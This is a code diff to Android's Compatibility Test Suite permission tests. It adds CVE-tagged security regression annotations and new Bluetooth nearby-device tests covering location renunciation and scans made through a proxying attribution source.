 import android.support.test.uiautomator.UiObject2;
@@ -106,8 +106,8 @@
         mContext.startActivity(intent);
     }
 
-    @SecurityTest
     @Test
+    @AsbSecurityTest(cveBugId = 171221302)
     public void overlaysAreSuppressedWhenConfirmingUninstall() throws Exception {
         AppOpsUtils.setOpMode(mContext.getPackageName(), "SYSTEM_ALERT_WINDOW", MODE_ALLOWED);
 
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index fa11680..8e4ff03 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -48,6 +48,7 @@
         <option name="push" value="CtsAppThatRequestsBluetoothPermission30.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsBluetoothPermission30.apk" />
         <option name="push" value="CtsAppThatRequestsBluetoothPermission31.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsBluetoothPermission31.apk" />
         <option name="push" value="CtsAppThatRequestsBluetoothPermissionNeverForLocation31.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsBluetoothPermissionNeverForLocation31.apk" />
+        <option name="push" value="CtsAppThatRequestsBluetoothPermissionNeverForLocationNoProvider.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsBluetoothPermissionNeverForLocationNoProvider.apk" />
         <option name="push" value="CtsAppThatRequestsContactsPermission16.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsContactsPermission16.apk" />
         <option name="push" value="CtsAppThatRequestsContactsPermission15.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsContactsPermission15.apk" />
         <option name="push" value="CtsAppThatRequestsContactsAndCallLogPermission16.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsContactsAndCallLogPermission16.apk" />
diff --git a/tests/tests/permission/AppThatRequestBluetoothPermission30/src/android/permission/cts/appthatrequestpermission/AccessBluetoothOnCommand.java b/tests/tests/permission/AppThatRequestBluetoothPermission30/src/android/permission/cts/appthatrequestpermission/AccessBluetoothOnCommand.java
index d407229..a27da0b 100644
--- a/tests/tests/permission/AppThatRequestBluetoothPermission30/src/android/permission/cts/appthatrequestpermission/AccessBluetoothOnCommand.java
+++ b/tests/tests/permission/AppThatRequestBluetoothPermission30/src/android/permission/cts/appthatrequestpermission/AccessBluetoothOnCommand.java
@@ -20,9 +20,13 @@
 import android.bluetooth.le.BluetoothLeScanner;
 import android.bluetooth.le.ScanCallback;
 import android.bluetooth.le.ScanResult;
+import android.content.AttributionSource;
 import android.content.ContentProvider;
 import android.content.ContentValues;
+import android.content.Context;
+import android.content.ContextParams;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.net.Uri;
 import android.os.Bundle;
@@ -37,6 +41,7 @@
 
 public class AccessBluetoothOnCommand extends ContentProvider {
     private static final String TAG = "AccessBluetoothOnCommand";
+    private static final String DISAVOWAL_APP_PKG = "android.permission.cts.appneverforlocation";
 
     private enum Result {
         UNKNOWN, EXCEPTION, EMPTY, FILTERED, FULL
@@ -50,7 +55,8 @@
         ScanCallback scanCallback = null;
 
         try {
-            scanner = getContext().getSystemService(BluetoothManager.class)
+            Context context = ("PROXY".equals(arg)) ? createProxyingContext() : getContext();
+            scanner = context.getSystemService(BluetoothManager.class)
                     .getAdapter().getBluetoothLeScanner();
 
             final Set<String> observedScans = ConcurrentHashMap.newKeySet();
@@ -112,6 +118,16 @@
         return res;
     }
 
+    private Context createProxyingContext() throws PackageManager.NameNotFoundException {
+        int disavowingAppUid =
+                getContext().getPackageManager().getPackageUid(DISAVOWAL_APP_PKG, 0);
+        AttributionSource attrib = new AttributionSource.Builder(disavowingAppUid)
+                .setPackageName(DISAVOWAL_APP_PKG)
+                .build();
+        return getContext().createContext(
+                new ContextParams.Builder().setNextAttributionSource(attrib).build());
+    }
+
     @Override
     public boolean onCreate() {
         return true;
diff --git a/hostsidetests/packagemanager/boottest/app/Android.bp b/tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocationNoProvider/Android.bp
similarity index 82%
copy from hostsidetests/packagemanager/boottest/app/Android.bp
copy to tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocationNoProvider/Android.bp
index d1a3271..c3ed047 100644
--- a/hostsidetests/packagemanager/boottest/app/Android.bp
+++ b/tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocationNoProvider/Android.bp
@@ -1,3 +1,4 @@
+//
 // Copyright (C) 2021 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
@@ -11,21 +12,21 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
+//
 
 package {
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
 android_test_helper_app {
-    name: "CtsPackageManagerBootTestStubApp",
-    defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
+    name: "CtsAppThatRequestsBluetoothPermissionNeverForLocationNoProvider",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
+        "mts",
     ],
-    sdk_version: "current",
-    manifest: "AndroidManifest.xml",
-    compile_multilib: "both",
-}
\ No newline at end of file
+}
diff --git a/tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocationNoProvider/AndroidManifest.xml b/tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocationNoProvider/AndroidManifest.xml
new file mode 100644
index 0000000..6b4a991
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestBluetoothPermissionNeverForLocationNoProvider/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appneverforlocation">
+
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+
+    <uses-permission
+        android:name="android.permission.BLUETOOTH_ADVERTISE"
+        android:usesPermissionFlags="neverForLocation" />
+    <uses-permission
+        android:name="android.permission.BLUETOOTH_CONNECT"
+        android:usesPermissionFlags="neverForLocation" />
+    <uses-permission
+        android:name="android.permission.BLUETOOTH_SCAN"
+        android:usesPermissionFlags="neverForLocation" />
+
+    <application>
+    </application>
+</manifest>
diff --git a/tests/tests/permission/src/android/permission/cts/DuplicatePermissionDefinitionsTest.kt b/tests/tests/permission/src/android/permission/cts/DuplicatePermissionDefinitionsTest.kt
index ff18a05..66f3ad7 100644
--- a/tests/tests/permission/src/android/permission/cts/DuplicatePermissionDefinitionsTest.kt
+++ b/tests/tests/permission/src/android/permission/cts/DuplicatePermissionDefinitionsTest.kt
@@ -20,7 +20,7 @@
 import android.content.pm.PermissionGroupInfo
 import android.content.pm.PermissionInfo
 import android.platform.test.annotations.AppModeFull
-import android.platform.test.annotations.SecurityTest
+import android.platform.test.annotations.AsbSecurityTest
 import androidx.test.InstrumentationRegistry
 import androidx.test.internal.runner.junit4.AndroidJUnit4ClassRunner
 import com.android.compatibility.common.util.ShellUtils.runShellCommand
@@ -125,8 +125,8 @@
         assertThat(groupAInfo.packageName).isEqualTo(APP_DEFINING_PERM_A)
     }
 
-    @SecurityTest
     @Test
+    @AsbSecurityTest(cveBugId = [146211400])
     fun cannotInstallAppsDefiningSamePermissionGroupWhenDifferentCert() {
         install(APK_DEFINING_PERM_A)
         install(APK_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT)
@@ -161,8 +161,8 @@
         assertThat(permAInfo.group).isEqualTo(INVALID_GROUP)
     }
 
-    @SecurityTest
     @Test(expected = PackageManager.NameNotFoundException::class)
+    @AsbSecurityTest(cveBugId = [146211400])
     fun cannotInstallAppsDefiningPermissionWithInvalidGroup() {
         install(APK_DEFINING_PERM_WITH_INVALID_GROUP)
 
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index 6545c0c..a1c0bd1 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -66,7 +66,7 @@
 import android.os.Looper;
 import android.permission.cts.appthataccesseslocation.IAccessLocationOnCommand;
 import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.platform.test.annotations.SystemUserOnly;
 import android.provider.DeviceConfig;
 import android.provider.Settings;
@@ -663,7 +663,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-12-01")
+    @AsbSecurityTest(cveBugId = 141028068)
     public void notificationIsShownOnlyOnce() throws Throwable {
         assumeNotPlayManaged();
 
@@ -680,7 +680,7 @@
 
     @SystemUserOnly(reason = "b/172259935")
     @Test
-    @SecurityTest(minPatchLevel = "2019-12-01")
+    @AsbSecurityTest(cveBugId = 141028068)
     public void notificationIsShownAgainAfterClear() throws Throwable {
         assumeNotPlayManaged();
         accessLocation();
@@ -725,7 +725,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-12-01")
+    @AsbSecurityTest(cveBugId = 141028068)
     public void removeNotificationOnUninstall() throws Throwable {
         assumeNotPlayManaged();
 
@@ -767,7 +767,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-12-01")
+    @AsbSecurityTest(cveBugId = 141028068)
     public void noNotificationIfFeatureDisabled() throws Throwable {
         assumeNotPlayManaged();
 
@@ -780,7 +780,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-12-01")
+    @AsbSecurityTest(cveBugId = 141028068)
     public void notificationOnlyForAccessesSinceFeatureWasEnabled() throws Throwable {
         assumeNotPlayManaged();
 
@@ -810,7 +810,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-12-01")
+    @AsbSecurityTest(cveBugId = 141028068)
     public void noNotificationIfBlamerNotSystemOrLocationProvider() throws Throwable {
         assumeNotPlayManaged();
 
@@ -826,7 +826,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2019-12-01")
+    @AsbSecurityTest(cveBugId = 141028068)
     public void testOpeningLocationSettingsDoesNotTriggerAccess() throws Throwable {
         assumeNotPlayManaged();
 
diff --git a/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java
index 0c2ab79..ae3f242 100644
--- a/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java
@@ -47,6 +47,8 @@
 import androidx.test.filters.SdkSuppress;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.CddTest;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -63,6 +65,7 @@
 public class NearbyDevicesPermissionTest {
     private static final String TEST_APP_PKG = "android.permission.cts.appthatrequestpermission";
     private static final String TEST_APP_AUTHORITY = "appthatrequestpermission";
+    private static final String DISAVOWAL_APP_PKG = "android.permission.cts.appneverforlocation";
 
     private static final String TMP_DIR = "/data/local/tmp/cts/permissions/";
     private static final String APK_BLUETOOTH_30 = TMP_DIR
@@ -71,6 +74,8 @@
             + "CtsAppThatRequestsBluetoothPermission31.apk";
     private static final String APK_BLUETOOTH_NEVER_FOR_LOCATION_31 = TMP_DIR
             + "CtsAppThatRequestsBluetoothPermissionNeverForLocation31.apk";
+    private static final String APK_BLUETOOTH_NEVER_FOR_LOCATION_NO_PROVIDER = TMP_DIR
+            + "CtsAppThatRequestsBluetoothPermissionNeverForLocationNoProvider.apk";
 
     private enum Result {
         UNKNOWN, EXCEPTION, EMPTY, FILTERED, FULL
@@ -105,12 +110,14 @@
     }
 
     @Test
+    @CddTest(requirement="7.4.3/C-6-1")
     public void testRequestBluetoothPermission30_Default() throws Throwable {
         install(APK_BLUETOOTH_30);
         assertScanBluetoothResult(Result.EMPTY);
     }
 
     @Test
+    @CddTest(requirement="7.4.3/C-6-1")
     public void testRequestBluetoothPermission30_GrantLocation() throws Throwable {
         install(APK_BLUETOOTH_30);
         grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
@@ -119,12 +126,14 @@
     }
 
     @Test
+    @CddTest(requirement="7.4.3/C-6-1")
     public void testRequestBluetoothPermission31_Default() throws Throwable {
         install(APK_BLUETOOTH_31);
         assertScanBluetoothResult(Result.EXCEPTION);
     }
 
     @Test
+    @CddTest(requirement="7.4.3/C-6-1")
     public void testRequestBluetoothPermission31_GrantNearby() throws Throwable {
         install(APK_BLUETOOTH_31);
         grantPermission(TEST_APP_PKG, BLUETOOTH_CONNECT);
@@ -133,6 +142,7 @@
     }
 
     @Test
+    @CddTest(requirement="7.4.3/C-6-1")
     public void testRequestBluetoothPermission31_GrantLocation() throws Throwable {
         install(APK_BLUETOOTH_31);
         grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
@@ -141,6 +151,7 @@
     }
 
     @Test
+    @CddTest(requirement="7.4.3/C-6-1")
     public void testRequestBluetoothPermission31_GrantNearby_GrantLocation() throws Throwable {
         install(APK_BLUETOOTH_31);
         grantPermission(TEST_APP_PKG, BLUETOOTH_CONNECT);
@@ -151,12 +162,14 @@
     }
 
     @Test
+    @CddTest(requirement="7.4.3/C-6-1")
     public void testRequestBluetoothPermissionNeverForLocation31_Default() throws Throwable {
         install(APK_BLUETOOTH_NEVER_FOR_LOCATION_31);
         assertScanBluetoothResult(Result.EXCEPTION);
     }
 
     @Test
+    @CddTest(requirement="7.4.3/C-6-1")
     public void testRequestBluetoothPermissionNeverForLocation31_GrantNearby() throws Throwable {
         install(APK_BLUETOOTH_NEVER_FOR_LOCATION_31);
         grantPermission(TEST_APP_PKG, BLUETOOTH_CONNECT);
@@ -165,6 +178,7 @@
     }
 
     @Test
+    @CddTest(requirement="7.4.3/C-6-1")
     public void testRequestBluetoothPermissionNeverForLocation31_GrantLocation() throws Throwable {
         install(APK_BLUETOOTH_NEVER_FOR_LOCATION_31);
         grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
@@ -173,6 +187,7 @@
     }
 
     @Test
+    @CddTest(requirement="7.4.3/C-6-1")
     public void testRequestBluetoothPermissionNeverForLocation31_GrantNearby_GrantLocation()
             throws Throwable {
         install(APK_BLUETOOTH_NEVER_FOR_LOCATION_31);
@@ -183,25 +198,52 @@
         assertScanBluetoothResult(Result.FILTERED);
     }
 
+    @Test
+    public void testRequestBluetoothPermission31_OnBehalfOfDisavowingApp() throws Throwable {
+        install(APK_BLUETOOTH_31);
+        install(APK_BLUETOOTH_NEVER_FOR_LOCATION_NO_PROVIDER);
+        grantPermission(TEST_APP_PKG, BLUETOOTH_CONNECT);
+        grantPermission(TEST_APP_PKG, BLUETOOTH_SCAN);
+        grantPermission(DISAVOWAL_APP_PKG, BLUETOOTH_CONNECT);
+        grantPermission(DISAVOWAL_APP_PKG, BLUETOOTH_SCAN);
+        assertScanBluetoothResult("PROXY", Result.FILTERED);
+    }
+
     /**
-     * Verify that upgrading an app doesn't gain them any access to Bluetooth
-     * scan results; they'd always need to involve the user to gain permissions.
+     * Verify that a legacy app that was unable to interact with Bluetooth
+     * devices is still unable to interact with them after updating to a modern
+     * SDK; they'd always need to involve the user to gain permissions.
      */
     @Test
-    public void testRequestBluetoothPermission_Upgrade() throws Throwable {
+    public void testRequestBluetoothPermission_Default_Upgrade() throws Throwable {
         install(APK_BLUETOOTH_30);
-        grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
-        grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION);
-        assertScanBluetoothResult(Result.FULL);
+        assertScanBluetoothResult(Result.EMPTY);
 
         // Upgrading to target a new SDK level means they need to explicitly
         // request the new runtime permission; by default it's denied
-        install(APK_BLUETOOTH_31);
+        install(APK_BLUETOOTH_NEVER_FOR_LOCATION_31);
         assertScanBluetoothResult(Result.EXCEPTION);
 
         // If the user does grant it, they can scan again
         grantPermission(TEST_APP_PKG, BLUETOOTH_CONNECT);
         grantPermission(TEST_APP_PKG, BLUETOOTH_SCAN);
+        assertScanBluetoothResult(Result.FILTERED);
+    }
+
+    /**
+     * Verify that a legacy app that was able to interact with Bluetooth devices
+     * is still able to interact with them after updating to a modern SDK.
+     */
+    @Test
+    public void testRequestBluetoothPermission_GrantLocation_Upgrade() throws Throwable {
+        install(APK_BLUETOOTH_30);
+        grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
+        grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION);
+        assertScanBluetoothResult(Result.FULL);
+
+        // Upgrading to target a new SDK level means they still have the access
+        // they enjoyed as a legacy app
+        install(APK_BLUETOOTH_31);
         assertScanBluetoothResult(Result.FULL);
     }
 
@@ -230,10 +272,14 @@
     }
 
     private void assertScanBluetoothResult(Result expected) {
+        assertScanBluetoothResult(null, expected);
+    }
+
+    private void assertScanBluetoothResult(String arg, Result expected) {
         SystemClock.sleep(1000); // Wait for location permissions to propagate
         final ContentResolver resolver = InstrumentationRegistry.getTargetContext()
                 .getContentResolver();
-        final Bundle res = resolver.call(TEST_APP_AUTHORITY, "", null, null);
+        final Bundle res = resolver.call(TEST_APP_AUTHORITY, "", arg, null);
         Result actual = Result.values()[res.getInt(Intent.EXTRA_INDEX)];
         assertEquals(expected, actual);
     }
diff --git a/tests/tests/permission/src/android/permission/cts/NearbyDevicesRenouncePermissionTest.java b/tests/tests/permission/src/android/permission/cts/NearbyDevicesRenouncePermissionTest.java
index 9b4b9ae..1d678ed 100644
--- a/tests/tests/permission/src/android/permission/cts/NearbyDevicesRenouncePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NearbyDevicesRenouncePermissionTest.java
@@ -21,31 +21,39 @@
 
 import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
 
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runShellCommandOrThrow;
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
 import android.app.AppOpsManager;
 import android.app.AsyncNotedAppOp;
 import android.app.SyncNotedAppOp;
+import android.bluetooth.BluetoothAdapter;
 import android.bluetooth.BluetoothManager;
+import android.bluetooth.cts.BTAdapterUtils;
 import android.bluetooth.le.BluetoothLeScanner;
 import android.bluetooth.le.ScanCallback;
 import android.bluetooth.le.ScanResult;
+import android.content.AttributionSource;
 import android.content.Context;
 import android.content.ContextParams;
+import android.content.pm.PackageManager;
+import android.os.Process;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
 import android.util.ArraySet;
 import android.util.Base64;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.After;
-import org.junit.AfterClass;
 import org.junit.Before;
-import org.junit.BeforeClass;
 import org.junit.Test;
 
 import java.util.HashSet;
@@ -63,21 +71,34 @@
     private AppOpsManager mAppOpsManager;
     private int mLocationNoteCount;
     private int mScanNoteCount;
+    private Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
+    private BluetoothAdapter mBluetoothAdapter;
+    private boolean mBluetoothAdapterWasEnabled;
 
     private enum Result {
         UNKNOWN, EXCEPTION, EMPTY, FILTERED, FULL
     }
 
-    @BeforeClass
-    public static void enableTestMode() {
-        runShellCommand("dumpsys activity service"
-                + " com.android.bluetooth/.btservice.AdapterService set-test-mode enabled");
+    private enum Scenario {
+        DEFAULT, RENOUNCE, RENOUNCE_MIDDLE, RENOUNCE_END
     }
 
-    @AfterClass
-    public static void disableTestMode() {
-        runShellCommand("dumpsys activity service"
-                + " com.android.bluetooth/.btservice.AdapterService set-test-mode disabled");
+    @Before
+    public void enableBluetooth() {
+        assumeTrue(supportsBluetooth());
+        mBluetoothAdapter = mContext.getSystemService(BluetoothManager.class).getAdapter();
+        mBluetoothAdapterWasEnabled = mBluetoothAdapter.isEnabled();
+        assertTrue(BTAdapterUtils.enableAdapter(mBluetoothAdapter, mContext));
+        enableTestMode();
+    }
+
+    @After
+    public void disableBluetooth() {
+        assumeTrue(supportsBluetooth());
+        disableTestMode();
+        if (!mBluetoothAdapterWasEnabled) {
+            assertTrue(BTAdapterUtils.disableAdapter(mBluetoothAdapter, mContext));
+        }
     }
 
     @Before
@@ -104,6 +125,15 @@
 
                     @Override
                     public void onAsyncNoted(AsyncNotedAppOp asyncOp) {
+                        switch (asyncOp.getOp()) {
+                            case OPSTR_FINE_LOCATION:
+                                mLocationNoteCount++;
+                                break;
+                            case OPSTR_BLUETOOTH_SCAN:
+                                mScanNoteCount++;
+                                break;
+                            default:
+                        }
                     }
                 });
     }
@@ -120,26 +150,51 @@
 
     @AppModeFull
     @Test
-    public void scanWithoutRenouncingNotesBluetoothAndLocation() {
+    public void scanWithoutRenouncingNotesBluetoothAndLocation() throws Exception {
         clearNoteCounts();
-        assertThat(performScan(false)).isEqualTo(Result.FULL);
-        assertThat(mLocationNoteCount).isGreaterThan(0);
-        assertThat(mScanNoteCount).isGreaterThan(0);
+        assertThat(performScan(Scenario.DEFAULT)).isEqualTo(Result.FULL);
+        SystemUtil.eventually(() -> {
+            assertThat(mLocationNoteCount).isGreaterThan(0);
+            assertThat(mScanNoteCount).isGreaterThan(0);
+        });
     }
 
     @AppModeFull
     @Test
-    public void scanRenouncingLocationNotesBluetoothButNotLocation() {
+    public void scanRenouncingLocationNotesBluetoothButNotLocation() throws Exception {
         clearNoteCounts();
-        assertThat(performScan(true)).isEqualTo(Result.FILTERED);
-        assertThat(mLocationNoteCount).isEqualTo(0);
-        assertThat(mScanNoteCount).isGreaterThan(0);
+        assertThat(performScan(Scenario.RENOUNCE)).isEqualTo(Result.FILTERED);
+        SystemUtil.eventually(() -> {
+            assertThat(mLocationNoteCount).isEqualTo(0);
+            assertThat(mScanNoteCount).isGreaterThan(0);
+        });
     }
 
-    private Result performScan(boolean renounce) {
+    @AppModeFull
+    @Test
+    public void scanRenouncingInMiddleOfChainNotesBluetoothButNotLocation() throws Exception {
+        clearNoteCounts();
+        assertThat(performScan(Scenario.RENOUNCE_MIDDLE)).isEqualTo(Result.FILTERED);
+        SystemUtil.eventually(() -> {
+            assertThat(mLocationNoteCount).isEqualTo(0);
+            assertThat(mScanNoteCount).isGreaterThan(0);
+        });
+    }
+
+    @AppModeFull
+    @Test
+    public void scanRenouncingAtEndOfChainNotesBluetoothButNotLocation() throws Exception {
+        clearNoteCounts();
+        assertThat(performScan(Scenario.RENOUNCE_END)).isEqualTo(Result.FILTERED);
+        SystemUtil.eventually(() -> {
+            assertThat(mLocationNoteCount).isEqualTo(0);
+            assertThat(mScanNoteCount).isGreaterThan(0);
+        });
+    }
+
+    private Result performScan(Scenario scenario) {
         try {
-            Context context = renounce ? createRenouncingContext(getApplicationContext())
-                    : getApplicationContext();
+            Context context = createContext(scenario, getApplicationContext());
 
             final BluetoothManager bm = context.getSystemService(BluetoothManager.class);
             final BluetoothLeScanner scanner = bm.getAdapter().getBluetoothLeScanner();
@@ -175,26 +230,62 @@
         }
     }
 
-    private Context createRenouncingContext(Context context) throws Exception {
-        ContextParams contextParams = context.getParams();
+    private Context createContext(Scenario scenario, Context context) throws Exception {
+        if (scenario == Scenario.DEFAULT) {
+            return context;
+        }
 
         Set<String> renouncedPermissions = new ArraySet<>();
         renouncedPermissions.add(ACCESS_FINE_LOCATION);
 
-        return SystemUtil.callWithShellPermissionIdentity(() -> {
-            if (contextParams == null) {
-                return context.createContext(
-                        new ContextParams.Builder()
-                                .setRenouncedPermissions(renouncedPermissions)
-                                .setAttributionTag(context.getAttributionTag())
-                                .build());
-            } else {
-                return context.createContext(
-                        new ContextParams.Builder(contextParams)
-                                .setRenouncedPermissions(renouncedPermissions)
-                                .build());
-            }
-        });
+        switch (scenario) {
+            case RENOUNCE:
+                return SystemUtil.callWithShellPermissionIdentity(() ->
+                        context.createContext(
+                                new ContextParams.Builder()
+                                        .setRenouncedPermissions(renouncedPermissions)
+                                        .setAttributionTag(context.getAttributionTag())
+                                        .build())
+                );
+            case RENOUNCE_MIDDLE:
+                AttributionSource nextAttrib = new AttributionSource(
+                        Process.SHELL_UID, "com.android.shell", null, (Set<String>) null, null);
+                return SystemUtil.callWithShellPermissionIdentity(() ->
+                        context.createContext(
+                                new ContextParams.Builder()
+                                        .setRenouncedPermissions(renouncedPermissions)
+                                        .setAttributionTag(context.getAttributionTag())
+                                        .setNextAttributionSource(nextAttrib)
+                                        .build())
+                );
+            case RENOUNCE_END:
+                nextAttrib = new AttributionSource(
+                        Process.SHELL_UID, "com.android.shell", null, renouncedPermissions, null);
+                return SystemUtil.callWithShellPermissionIdentity(() ->
+                        context.createContext(
+                                new ContextParams.Builder()
+                                        .setAttributionTag(context.getAttributionTag())
+                                        .setNextAttributionSource(nextAttrib)
+                                        .build())
+                );
+            default:
+                throw new IllegalStateException();
+        }
+    }
+
+
+    private boolean supportsBluetooth() {
+        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_BLUETOOTH);
+    }
+
+    private void enableTestMode() {
+        runShellCommandOrThrow("dumpsys activity service"
+                + " com.android.bluetooth/.btservice.AdapterService set-test-mode enabled");
+    }
+
+    private void disableTestMode() {
+        runShellCommandOrThrow("dumpsys activity service"
+                + " com.android.bluetooth/.btservice.AdapterService set-test-mode disabled");
     }
 
 }
diff --git a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
index 5670cc1..70147e2 100644
--- a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
@@ -43,6 +43,7 @@
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 
@@ -126,6 +127,7 @@
         assertExpectedLifespan(exitTime, ONE_TIME_TIMEOUT_MILLIS);
     }
 
+    @Ignore
     @Test
     public void testForegroundServiceMaintainsPermission() throws Throwable {
         startApp();
@@ -228,16 +230,29 @@
     }
 
     private void exitApp() {
-        eventually(() -> {
-            mUiDevice.pressHome();
-            mUiDevice.pressBack();
-            runWithShellPermissionIdentity(() -> {
-                if (mActivityManager.getPackageImportance(APP_PKG_NAME)
-                        <= IMPORTANCE_FOREGROUND) {
-                    throw new AssertionError("Unable to exit application");
+        boolean[] hasExited = {false};
+        try {
+            new Thread(() -> {
+                while (!hasExited[0]) {
+                    mUiDevice.pressHome();
+                    mUiDevice.pressBack();
+                    try {
+                        Thread.sleep(1000);
+                    } catch (InterruptedException e) {
+                    }
                 }
+            }).start();
+            eventually(() -> {
+                runWithShellPermissionIdentity(() -> {
+                    if (mActivityManager.getPackageImportance(APP_PKG_NAME)
+                            <= IMPORTANCE_FOREGROUND) {
+                        throw new AssertionError("Unable to exit application");
+                    }
+                });
             });
-        });
+        } finally {
+            hasExited[0] = true;
+        }
     }
 
     private void clickOneTimeButton() throws Throwable {
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
index 8661f2e..368d280 100644
--- a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
+++ b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
@@ -32,7 +32,7 @@
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
 import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiScrollable;
@@ -163,9 +163,9 @@
         runShellCommand("pm uninstall android.permission.cts.appthatrequestpermission");
     }
 
-    @SecurityTest
     @Test
     @AppModeFull
+    @AsbSecurityTest(cveBugId = 72710897)
     public void permissionGroupShouldNotBeAutoGrantedIfNewMember() throws Throwable {
         installApp("CtsAppThatRequestsPermissionAandB");
 
diff --git a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
index d252d2d..3dc5f03 100644
--- a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
@@ -29,7 +29,7 @@
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -150,8 +150,8 @@
                 pkg, permission);
     }
 
-    @SecurityTest(minPatchLevel = "2020-02")
     @Test
+    @AsbSecurityTest(cveBugId = 67319274)
     public void runtimePermissionShouldBeRevokedIfRemoved() throws Throwable {
         installApp(ADVERSARIAL_PERMISSION_DEFINER_APK_NAME);
         installApp(ADVERSARIAL_PERMISSION_USER_APK_NAME);
@@ -199,8 +199,8 @@
